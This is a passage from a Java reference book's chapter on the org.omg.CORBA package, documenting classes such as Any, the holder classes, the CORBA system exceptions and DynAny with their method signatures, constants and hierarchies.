The org.omg.CORBA package contains the bulk of the Java classes in the Java IDL API. The classes in this package represent the mapping between Java and the CORBA module defined in IDL in the CORBA standard. That means this package includes the bulk of the interfaces, constants, etc., that make up CORBA. Key classes in this package are the ORB class, which is a Java implementation of an ORB, and the Object interface, which serves as the root class for all CORBA objects. Figure 30-1 shows the hierarchy of interfaces defined in org.omg.CORBA, Figure 30-2 shows the class hierarchy, and Figure 30-1 shows the exceptions.

Figure 30-1. The interfaces in the org.omg.CORBA package

Figure 30-2. The classes in the org.omg.CORBA package

Figure 30-3. The exceptions in the org.omg.CORBA package

Any | Java 1.2
org.omg.CORBA | serializable

A wrapper for any IDL type, whether user-defined or a basic type. You can access the TypeCode for the contents of an Any object using the type() methods. Use the extract_XXX() and insert_XXX() methods to get to the data itself.

An Any object is the value in a NamedValue object. Any objects are used often in the Dynamic Invocation Interface, to compose arguments to method requests.

public abstract class Any implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public Any ();
// | Public Instance Methods
 | public abstract org.omg.CORBA.portable.InputStream create_input_stream ();
 | public abstract org.omg.CORBA.portable.OutputStream create_output_stream ();
 | public abstract boolean equal (Any a);
 | public abstract Any extract_any () throws BAD_OPERATION;
 | public abstract boolean extract_boolean () throws BAD_OPERATION;
 | public abstract char extract_char () throws BAD_OPERATION;
 | public abstract double extract_double () throws BAD_OPERATION;
 | public java.math.BigDecimal extract_fixed ();
 | public abstract float extract_float () throws BAD_OPERATION;
 | public abstract int extract_long () throws BAD_OPERATION;
 | public abstract long extract_longlong () throws BAD_OPERATION;
 | public abstract org.omg.CORBA.Object extract_Object () throws BAD_OPERATION;
 | public abstract byte extract_octet () throws BAD_OPERATION;
 | public abstract short extract_short () throws BAD_OPERATION;
 | public abstract String extract_string () throws BAD_OPERATION;
 | public abstract TypeCode extract_TypeCode () throws BAD_OPERATION;
 | public abstract int extract_ulong () throws BAD_OPERATION;
 | public abstract long extract_ulonglong () throws BAD_OPERATION;
 | public abstract short extract_ushort () throws BAD_OPERATION;
 | public Serializable extract_Value () throws BAD_OPERATION;
 | public abstract char extract_wchar () throws BAD_OPERATION;
 | public abstract String extract_wstring () throws BAD_OPERATION;
 | public abstract void insert_any (Any a);
 | public abstract void insert_boolean (boolean b);
 | public abstract void insert_char (char c) throws DATA_CONVERSION;
 | public abstract void insert_double (double d);
 | public void insert_fixed (java.math.BigDecimal value);
 | public void insert_fixed (java.math.BigDecimal value, TypeCode type);
 | public abstract void insert_float (float f);
 | public abstract void insert_long (int l);
 | public abstract void insert_longlong (long l);
 | public abstract void insert_Object (org.omg.CORBA.Object o);
 | public abstract void insert_Object (org.omg.CORBA.Object o, TypeCode t) throws BAD_OPERATION;
 | public abstract void insert_octet (byte b);
 | public abstract void insert_short (short s);
 | public abstract void insert_Streamable (org.omg.CORBA.portable.Streamable s);
 | public abstract void insert_string (String s) throws DATA_CONVERSION, MARSHAL;
 | public abstract void insert_TypeCode (TypeCode t);
 | public abstract void insert_ulong (int l);
 | public abstract void insert_ulonglong (long l);
 | public abstract void insert_ushort (short s);
 | public void insert_Value (Serializable v);
 | public void insert_Value (Serializable v, TypeCode t) throws MARSHAL;
 | public abstract void insert_wchar (char c);
 | public abstract void insert_wstring (String s) throws MARSHAL;
 | public abstract void read_value (org.omg.CORBA.portable.InputStream is, TypeCode t) throws MARSHAL;
 | public abstract TypeCode type ();
 | public abstract void type (TypeCode t);
 | public abstract void write_value (org.omg.CORBA.portable.OutputStream os);
// | Deprecated Public Methods
# | public abstract org.omg.CORBA.Principal extract_Principal () throws BAD_OPERATION;
# | public abstract void insert_Principal (org.omg.CORBA.Principal p);
}

Hierarchy: Object-->Any(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: Too many methods to list.

Returned By: Any.extract_any(), DynAny.{get_any(), to_any()}, DynArray.get_elements(), DynSequence.get_elements(), NamedValue.value(), ORB.create_any(), Request.{add_in_arg(), add_inout_arg(), add_named_in_arg(), add_named_inout_arg(), add_named_out_arg(), add_out_arg(), return_value()}, TypeCode.member_label(), org.omg.CORBA.portable.InputStream.read_any()

Type Of: AnyHolder.value, NameValuePair.value, UnionMember.label, UnknownUserException.except

AnyHolder Java 1.2
org.omg.CORBA

The holder class for Any objects. The AnyHolder class is used primarily to wrap out and inout arguments to methods when composing Dynamic Invocation Interface requests.

public final class AnyHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public AnyHolder ();
 | public AnyHolder (Any initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public Any value ;
}

Hierarchy: Object-->AnyHolder(org.omg.CORBA.portable.Streamable)

ARG_IN Java 1.2
org.omg.CORBA

This interface defines a value constant that is used to specify an input method argument when creating a named value with the ORB.create_named_value() method. The last argument to this method is an integer flag that indicates the argument mode for the named value as it is used in a dynamic method invocation. The integer flag can be either ARG_IN.value, ARG_OUT.value, or ARG_INOUT.value, to indicate what type of method argument the named value represents. Here's an example that assumes you have a reference to an ORB named myOrb and an Any object named myAny that holds the argument value:

org.omg.CORBA.NamedValue inArg =
   myOrb.create_named_value("MethodArg1", myAny, org.omg.CORBA.ARG_IN.value);

The inArg named value can now be used in a Dynamic Invocation Interface call to a method that has an in argument named MethodArg1. See also ARG_INOUT and ARG_OUT.

public abstract interface ARG_IN {
// | Public Constants
 | public static final int value ; | =1
}
ARG_INOUT Java 1.2
org.omg.CORBA

This interface defines a single constant used with the ORB.create_named_value() method. See ARG_IN for details.

public abstract interface ARG_INOUT {
// | Public Constants
 | public static final int value ; | =3
}
ARG_OUT Java 1.2
org.omg.CORBA

This interface defines a single constant used with the ORB.create_named_value() method. See ARG_IN for details.

public abstract interface ARG_OUT {
// | Public Constants
 | public static final int value ; | =2
}
BAD_CONTEXT | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a context object cannot be processed.

public final class BAD_CONTEXT extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public BAD_CONTEXT ();
 | public BAD_CONTEXT (String s);
 | public BAD_CONTEXT (int minor, CompletionStatus completed);
 | public BAD_CONTEXT (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->BAD_CONTEXT

BAD_INV_ORDER | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when methods are called out of order. For example, if you call the arguments() method on a ServerRequest object, then try to reset the arguments by calling the method again, a BAD_INV_ORDER exception is thrown.

public final class BAD_INV_ORDER extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public BAD_INV_ORDER ();
 | public BAD_INV_ORDER (String s);
 | public BAD_INV_ORDER (int minor, CompletionStatus completed);
 | public BAD_INV_ORDER (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->BAD_INV_ORDER

BAD_OPERATION | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an invalid method is invoked. If, for example, you call an extract_XXX() method on an Any object for a type it does not contain, a BAD_OPERATION is thrown.

public final class BAD_OPERATION extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public BAD_OPERATION ();
 | public BAD_OPERATION (String s);
 | public BAD_OPERATION (int minor, CompletionStatus completed);
 | public BAD_OPERATION (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->BAD_OPERATION

Thrown By: Any.{extract_any(), extract_boolean(), extract_char(), extract_double(), extract_float(), extract_long(), extract_longlong(), extract_Object(), extract_octet(), extract_Principal(), extract_short(), extract_string(), extract_TypeCode(), extract_ulong(), extract_ulonglong(), extract_ushort(), extract_Value(), extract_wchar(), extract_wstring(), insert_Object()}

BAD_PARAM | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an invalid argument is passed into a remote method. This exception defines a single error code value for the SystemException.minor data member:

Minor Code | Meaning
1 | A null value was passed into a remote method.
public final class BAD_PARAM extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public BAD_PARAM ();
 | public BAD_PARAM (String s);
 | public BAD_PARAM (int minor, CompletionStatus completed);
 | public BAD_PARAM (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->BAD_PARAM

Thrown By: CompletionStatus.from_int(), DefinitionKind.from_int(), SetOverrideType.from_int(), TCKind.from_int(), org.omg.CosNaming.BindingIteratorHelper.narrow(), org.omg.CosNaming.BindingType.from_int(), org.omg.CosNaming.NamingContextHelper.narrow(), NotFoundReason.from_int()

BAD_TYPECODE | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when an invalid TypeCode is specified.

public final class BAD_TYPECODE extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public BAD_TYPECODE ();
 | public BAD_TYPECODE (String s);
 | public BAD_TYPECODE (int minor, CompletionStatus completed);
 | public BAD_TYPECODE (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->BAD_TYPECODE

BooleanHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java boolean values.

public final class BooleanHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public BooleanHolder ();
 | public BooleanHolder (boolean initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public boolean value ;
}

Hierarchy: Object-->BooleanHolder(org.omg.CORBA.portable.Streamable)

Bounds | Java 1.2
org.omg.CORBA | serializable checked

An exception thrown when a value that falls out of the valid bounds is passed into a method (e.g., when an index passed into a list object is greater than the size of the list).

public final class Bounds extends UserException {
// | Public Constructors
 | public Bounds ();
 | public Bounds (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->org.omg.CORBA.Bounds

Thrown By: ContextList.{item(), remove()}, ExceptionList.{item(), remove()}, NVList.{item(), remove()}, TypeCode.member_visibility()

ByteHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java byte values.

public final class ByteHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public ByteHolder ();
 | public ByteHolder (byte initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public byte value ;
}

Hierarchy: Object-->ByteHolder(org.omg.CORBA.portable.Streamable)

CharHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java char values.

public final class CharHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public CharHolder ();
 | public CharHolder (char initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public char value ;
}

Hierarchy: Object-->CharHolder(org.omg.CORBA.portable.Streamable)

COMM_FAILURE | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a communications failure occurs during a remote operation. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
1 | Unable to connect to the required remote ORB.
2 | A write to a socket failed, either because the socket has been closed by the remote peer or because the socket connection has been aborted.
3 | A write to a socket failed because the connection was closed on this side of the socket.
6 | Multiple attempts to connect to the remote server have failed.
public final class COMM_FAILURE extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public COMM_FAILURE ();
 | public COMM_FAILURE (String s);
 | public COMM_FAILURE (int minor, CompletionStatus completed);
 | public COMM_FAILURE (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->COMM_FAILURE

CompletionStatus | Java 1.2
org.omg.CORBA | serializable

When an org.omg.CORBA.SystemException is thrown, it contains a CompletionStatus object that indicates whether the method invocation was completed before the exception was encountered. CompletionStatus has three static instances, COMPLETED_YES, COMPLETED_MAYBE, and COMPLETED_NO, and three static int members, _COMPLETED_YES, _COMPLETED_MAYBE and _COMPLETED_NO. When you receive a CompletionStatus, you can either compare it to one of the static instances or compare its value (queried using the value() method) to one of the static int values.

public class CompletionStatus implements org.omg.CORBA.portable.IDLEntity {
// | Protected Constructors
 | protected CompletionStatus (int _value); |
// | Public Constants
 | public static final int _COMPLETED_MAYBE ; | =2
 | public static final int _COMPLETED_NO ; | =1
 | public static final int _COMPLETED_YES ; | =0
 | public static final CompletionStatus COMPLETED_MAYBE ; |
 | public static final CompletionStatus COMPLETED_NO ; |
 | public static final CompletionStatus COMPLETED_YES ; |
// | Public Class Methods
 | public static CompletionStatus from_int (int i) throws BAD_PARAM; |
// | Public Instance Methods
 | public int value (); |
}

Hierarchy: Object-->CompletionStatus(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: Too many methods to list.

Returned By: CompletionStatus.from_int()

Type Of: CompletionStatus.{COMPLETED_MAYBE, COMPLETED_NO, COMPLETED_YES}, org.omg.CORBA.SystemException.completed

Context Java 1.2
org.omg.CORBA

A Context object contains a list of properties, stored as NamedValue objects, that is passed along with a method request to indicate properties of the client context. Every ORB has a default context, accessed using the ORB.get_default_context() method. Contexts can be linked in a hierarchy of contexts. If a search for a property is made on a Context object, and the search within the object fails, the search is continued in the parent Context, and so on until the root context is reached. You can create a new child of a Context using its create_child() method. Other methods on the Context class let you get, set, and delete values from the Context.

public abstract class Context {
// | Public Constructors
 | public Context ();
// | Public Instance Methods
 | public abstract String context_name ();
 | public abstract org.omg.CORBA.Context create_child (String child_ctx_name);
 | public abstract void delete_values (String propname);
 | public abstract NVList get_values (String start_scope, int op_flags, String pattern);
 | public abstract org.omg.CORBA.Context parent ();
 | public abstract void set_one_value (String propname, Any propvalue);
 | public abstract void set_values (NVList values);
}

Passed To: org.omg.CORBA.Object._create_request(), Request.ctx(), org.omg.CORBA.portable.Delegate.create_request(), org.omg.CORBA.portable.ObjectImpl._create_request(), org.omg.CORBA.portable.OutputStream.write_Context()

Returned By: org.omg.CORBA.Context.{create_child(), parent()}, ORB.get_default_context(), Request.ctx(), ServerRequest.ctx(), org.omg.CORBA.portable.InputStream.read_Context()

ContextList Java 1.2
org.omg.CORBA

A ContextList is a list of context property names only (i.e., a list of String objects). A ContextList along with an NVList that contains NamedValue objects represents the relevant subset of a Context that is passed along with a remote method call.

public abstract class ContextList {
// | Public Constructors
 | public ContextList ();
// | Public Instance Methods
 | public abstract void add (String ctx);
 | public abstract int count ();
 | public abstract String item (int index) throws org.omg.CORBA.Bounds;
 | public abstract void remove (int index) throws org.omg.CORBA.Bounds;
}

Passed To: org.omg.CORBA.Object._create_request(), org.omg.CORBA.portable.Delegate.create_request(), org.omg.CORBA.portable.ObjectImpl._create_request(), org.omg.CORBA.portable.OutputStream.write_Context()

Returned By: ORB.create_context_list(), Request.contexts()

CTX_RESTRICT_SCOPE Java 1.2
org.omg.CORBA

This interface contains a static value member that can be used as a flag to the search routine accessible through the Context.get_values() method. Using CTX_RESTRICT_SCOPE.value as the flag to this method indicates that the search for context values should be restricted to the scope specified in the first method argument, or to the context object that invokes the method, if the scope is null. For example, this call to the search method:

Context ctx = ... // get context somehow
NVList myVals = ctx.get_values(null, org.omg.CORBA.CTX_RESTRICT_SCOPE.value, "username");

searches the context represented by the context object for values named "username".

public abstract interface CTX_RESTRICT_SCOPE {
// | Public Constants
 | public static final int value ; | =15
}
Current Java 1.2
org.omg.CORBA

The Current interface represents an optional feature provided by CORBA that allows the ORB and CORBA services to export information about the thread in which they are running. Sun's Java IDL does not use this feature. If an ORB or service provider decides to provide this information, it should create a concrete subclass of this interface and make it available through the ORB's resolve_initial_references() method.

public abstract interface Current extends org.omg.CORBA.Object {
}

Hierarchy: (Current(org.omg.CORBA.Object))

Returned By: ORB.get_current()

DATA_CONVERSION | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when the ORB fails to convert some piece of data, such as during the conversion of a stringified object reference. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
1 | A bad hexadecimal character was found while converting a stringified object reference back to an object reference.
2 | The byte length of a stringified object reference is odd, when it must be even.
3 | The "IOR:" preface is missing from the stringified object reference passed into string_to_object().
4 | The resolve_initial_references() method failed because the location (host and port number) of the remote ORB specified is invalid or unspecified, or the remote server doesn't support the Java IDL bootstrap protocol.
public final class DATA_CONVERSION extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public DATA_CONVERSION ();
 | public DATA_CONVERSION (String s);
 | public DATA_CONVERSION (int minor, CompletionStatus completed);
 | public DATA_CONVERSION (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->DATA_CONVERSION

Thrown By: Any.{insert_char(), insert_string()}

DefinitionKind | Java 1.2
org.omg.CORBA | serializable

Used by an IRObject to indicate what type of repository object it represents (e.g., method, attribute). To determine the type of an IRObject, either compare the value member of DefinitionKind to the static int members of this class or compare the DefinitionKind object itself to the static instances defined in this class.

public class DefinitionKind implements org.omg.CORBA.portable.IDLEntity {
// | Protected Constructors
 | protected DefinitionKind (int _value); |
// | Public Constants
 | public static final int _dk_Alias ; | =9
 | public static final int _dk_all ; | =1
 | public static final int _dk_Array ; | =16
 | public static final int _dk_Attribute ; | =2
 | public static final int _dk_Constant ; | =3
 | public static final int _dk_Enum ; | =12
 | public static final int _dk_Exception ; | =4
 | public static final int _dk_Fixed ; | =19
 | public static final int _dk_Interface ; | =5
 | public static final int _dk_Module ; | =6
 | public static final int _dk_Native ; | =23
 | public static final int _dk_none ; | =0
 | public static final int _dk_Operation ; | =7
 | public static final int _dk_Primitive ; | =13
 | public static final int _dk_Repository ; | =17
 | public static final int _dk_Sequence ; | =15
 | public static final int _dk_String ; | =14
 | public static final int _dk_Struct ; | =10
 | public static final int _dk_Typedef ; | =8
 | public static final int _dk_Union ; | =11
 | public static final int _dk_Value ; | =20
 | public static final int _dk_ValueBox ; | =21
 | public static final int _dk_ValueMember ; | =22
 | public static final int _dk_Wstring ; | =18
 | public static final DefinitionKind dk_Alias ; |
 | public static final DefinitionKind dk_all ; |
 | public static final DefinitionKind dk_Array ; |
 | public static final DefinitionKind dk_Attribute ; |
 | public static final DefinitionKind dk_Constant ; |
 | public static final DefinitionKind dk_Enum ; |
 | public static final DefinitionKind dk_Exception ; |
 | public static final DefinitionKind dk_Fixed ; |
 | public static final DefinitionKind dk_Interface ; |
 | public static final DefinitionKind dk_Module ; |
 | public static final DefinitionKind dk_Native ; |
 | public static final DefinitionKind dk_none ; |
 | public static final DefinitionKind dk_Operation ; |
 | public static final DefinitionKind dk_Primitive ; |
 | public static final DefinitionKind dk_Repository ; |
 | public static final DefinitionKind dk_Sequence ; |
 | public static final DefinitionKind dk_String ; |
 | public static final DefinitionKind dk_Struct ; |
 | public static final DefinitionKind dk_Typedef ; |
 | public static final DefinitionKind dk_Union ; |
 | public static final DefinitionKind dk_Value ; |
 | public static final DefinitionKind dk_ValueBox ; |
 | public static final DefinitionKind dk_ValueMember ; |
 | public static final DefinitionKind dk_Wstring ; |
// | Public Class Methods
 | public static DefinitionKind from_int (int i) throws BAD_PARAM; |
// | Public Instance Methods
 | public int value (); |
}

Hierarchy: Object-->DefinitionKind(org.omg.CORBA.portable.IDLEntity(Serializable))

Returned By: DefinitionKind.from_int(), IRObject.def_kind()

Type Of: DefinitionKind.{dk_Alias, dk_all, dk_Array, dk_Attribute, dk_Constant, dk_Enum, dk_Exception, dk_Fixed, dk_Interface, dk_Module, dk_Native, dk_none, dk_Operation, dk_Primitive, dk_Repository, dk_Sequence, dk_String, dk_Struct, dk_Typedef, dk_Union, dk_Value, dk_ValueBox, dk_ValueMember, dk_Wstring}

DomainManager Java 1.2
org.omg.CORBA

The DomainManager interface represents an object that manages a group of objects (a domain) under a common set of access policies. A set of policies control access to certain operations over the objects in a given domain. You can access the DomainManager for an org.omg.CORBA.Object by using its _get_domain_managers() method, which returns an array of DomainManager objects, one for each domain of the Object. DomainManagerobjects can be hierarchical, in that a domain can contain other DomainManager objects. Since the DomainManager is an Object, you can use its _get_domain_managers() method to traverse the manager hierarchy.

DomainManager defines a single method, get_domain_policy(), that allows you to get the policy of a given type for the objects in the domain. The policy is represented by a Policy object. The type of policy is indicated with an integer identifier, where the possible values are application-specific. The CORBA Security service, for example, defines its own set of policy types. If the policy type you pass into get_domain_policy() is not supported by the ORB, or if the domain doesn't define that type of policy, an BAD_PARAM system exception is thrown.

The DomainManager interface, and the corresponding methods on the org.omg.CORBA.Object interface, are really just a placeholder for future support for object domains in the CORBA standard. There are currently no interfaces defined for adding objects and policies to domains, for example. The OMG intends to provide this in a management facility specification in the future.

public abstract interface DomainManager extends org.omg.CORBA.Object {
// | Public Instance Methods
 | public abstract org.omg.CORBA.Policy get_domain_policy (int policy_type);
}

Hierarchy: (DomainManager(org.omg.CORBA.Object))

Returned By: org.omg.CORBA.Object._get_domain_managers(), org.omg.CORBA.portable.Delegate.get_domain_managers(), org.omg.CORBA.portable.ObjectImpl._get_domain_managers()

DoubleHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java double values.

public final class DoubleHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public DoubleHolder ();
 | public DoubleHolder (double initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public double value ;
}

Hierarchy: Object-->DoubleHolder(org.omg.CORBA.portable.Streamable)

DynamicImplementation Java 1.2
org.omg.CORBA

The abstract base class for servant object implementations in the Dynamic Skeleton Interface. Derived servant classes must implement the invoke() method, which is called by the ORB to handle requests on the object represented by the servant.

public abstract class DynamicImplementation extends org.omg.CORBA.portable.ObjectImpl {
// | Public Constructors
 | public DynamicImplementation ();
// | Public Instance Methods
 | public abstract void invoke (ServerRequest request);
}

Hierarchy: Object-->org.omg.CORBA.portable.ObjectImpl(org.omg.CORBA.Object)-->DynamicImplementation

Subclasses: org.omg.CosNaming._BindingIteratorImplBase, org.omg.CosNaming._NamingContextImplBase

DynAny Java 1.2
org.omg.CORBA

The DynAny interface forms the core of CORBA's facility for the dynamic introspection of Any values for which the implementation class is not available. This facility has similar goals as Java's built-in introspection facilities, but CORBA provides it as IDL interfaces so that it can be used no matter what implementation language is chosen. The CORBA facility allows services and objects to determine the type and contents of a value passed into a method, without having access to its implementation interface. The service or object can wrap an incoming Any value with DynAny to probe its properties and structure.

DynAny objects should not be exported outside the processes in which they are created. If you attempt to create a stringified reference to a DynAny object using the ORB.object_to_string() method, a MARSHAL exception is thrown.

The DynAny interface provides a series of get_XXX() and insert_XXX() methods that can be used to access or modify the contents of the Any value if it is an IDL basic type. The TypeCode for the contents can also be accessed, using the type() method. If the Any value holds a complex data type, such as a struct, the next(), seek(), rewind(), and current_component() methods on the DynAny interface can iterate through the data members of the contents.

There are various subtypes of DynAny that provide access to the components of specific IDL complex types, such as structs, enums, and unions. These subtypes and basic DynAny objects can be created using the create_dyn_XXX() methods available on the ORB interface.

public abstract interface DynAny extends org.omg.CORBA.Object {
// | Public Instance Methods
 | public abstract void assign (DynAny dyn_any) throws org.omg.CORBA.DynAnyPackage.Invalid;
 | public abstract DynAny copy ();
 | public abstract DynAny current_component ();
 | public abstract void destroy ();
 | public abstract void from_any (Any value) throws org.omg.CORBA.DynAnyPackage.Invalid;
 | public abstract Any get_any () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract boolean get_boolean () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract char get_char () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract double get_double () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract float get_float () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract int get_long () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract long get_longlong () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract byte get_octet () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract org.omg.CORBA.Object get_reference () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract short get_short () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract String get_string () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract TypeCode get_typecode () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract int get_ulong () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract long get_ulonglong () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract short get_ushort () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract Serializable get_val () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract char get_wchar () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract String get_wstring () throws org.omg.CORBA.DynAnyPackage.TypeMismatch;
 | public abstract void insert_any (Any value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_boolean (boolean value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_char (char value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_double (double value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_float (float value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_long (int value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_longlong (long value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_octet (byte value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_reference (org.omg.CORBA.Object value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_short (short value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_string (String value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_typecode (TypeCode value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_ulong (int value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_ulonglong (long value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_ushort (short value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_val (Serializable value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_wchar (char value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract void insert_wstring (String value) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
 | public abstract boolean next ();
 | public abstract void rewind ();
 | public abstract boolean seek (int index);
 | public abstract Any to_any () throws org.omg.CORBA.DynAnyPackage.Invalid;
 | public abstract TypeCode type ();
}

Hierarchy: (DynAny(org.omg.CORBA.Object))

Implementations: DynArray, DynEnum, DynFixed, DynSequence, DynStruct, DynUnion, DynValue

Passed To: DynAny.assign()

Returned By: DynAny.{copy(), current_component()}, DynUnion.{discriminator(), member()}, ORB.{create_basic_dyn_any(), create_dyn_any()}

DynArray Java 1.2
org.omg.CORBA

A DynAny object associated with an array. The get_elements() and set_elements() methods allow for access to the elements of the array, as Any values.

public abstract interface DynArray extends org.omg.CORBA.Object, DynAny {
// | Public Instance Methods
 | public abstract Any[ ] get_elements ();
 | public abstract void set_elements (Any[ ] value) throws org.omg.CORBA.DynAnyPackage.InvalidSeq;
}

Hierarchy: (DynArray(org.omg.CORBA.Object,DynAny(org.omg.CORBA.Object)))

Returned By: ORB.create_dyn_array()

DynEnum Java 1.2
org.omg.CORBA

A DynAny object associated with the Java mapping of an IDL enum type. The methods on the interface allow you to access the value of the enumerated type as either a String or an int.

public abstract interface DynEnum extends org.omg.CORBA.Object, DynAny {
// | Public Instance Methods
 | public abstract String value_as_string ();
 | public abstract void value_as_string (String arg);
 | public abstract int value_as_ulong ();
 | public abstract void value_as_ulong (int arg);
}

Hierarchy: (DynEnum(org.omg.CORBA.Object,DynAny(org.omg.CORBA.Object)))

Returned By: ORB.create_dyn_enum()

DynFixed Java 1.2
org.omg.CORBA

A DynAny object associated with the Java mapping of an IDL fixed type.

public abstract interface DynFixed extends org.omg.CORBA.Object, DynAny {
// | Public Instance Methods
 | public abstract byte[ ] get_value ();
 | public abstract void set_value (byte[ ] val) throws org.omg.CORBA.DynAnyPackage.InvalidValue;
}

Hierarchy: (DynFixed(org.omg.CORBA.Object,DynAny(org.omg.CORBA.Object)))

DynSequence Java 1.2
org.omg.CORBA

A DynAny object associated with the Java mapping of an IDL sequence type.

public abstract interface DynSequence extends org.omg.CORBA.Object, DynAny {
// | Public Instance Methods
 | public abstract Any[ ] get_elements ();
 | public abstract int length ();
 | public abstract void length (int arg);
 | public abstract void set_elements (Any[ ] value) throws org.omg.CORBA.DynAnyPackage.InvalidSeq;
}

Hierarchy: (DynSequence(org.omg.CORBA.Object,DynAny(org.omg.CORBA.Object)))

Returned By: ORB.create_dyn_sequence()

DynStruct Java 1.2
org.omg.CORBA

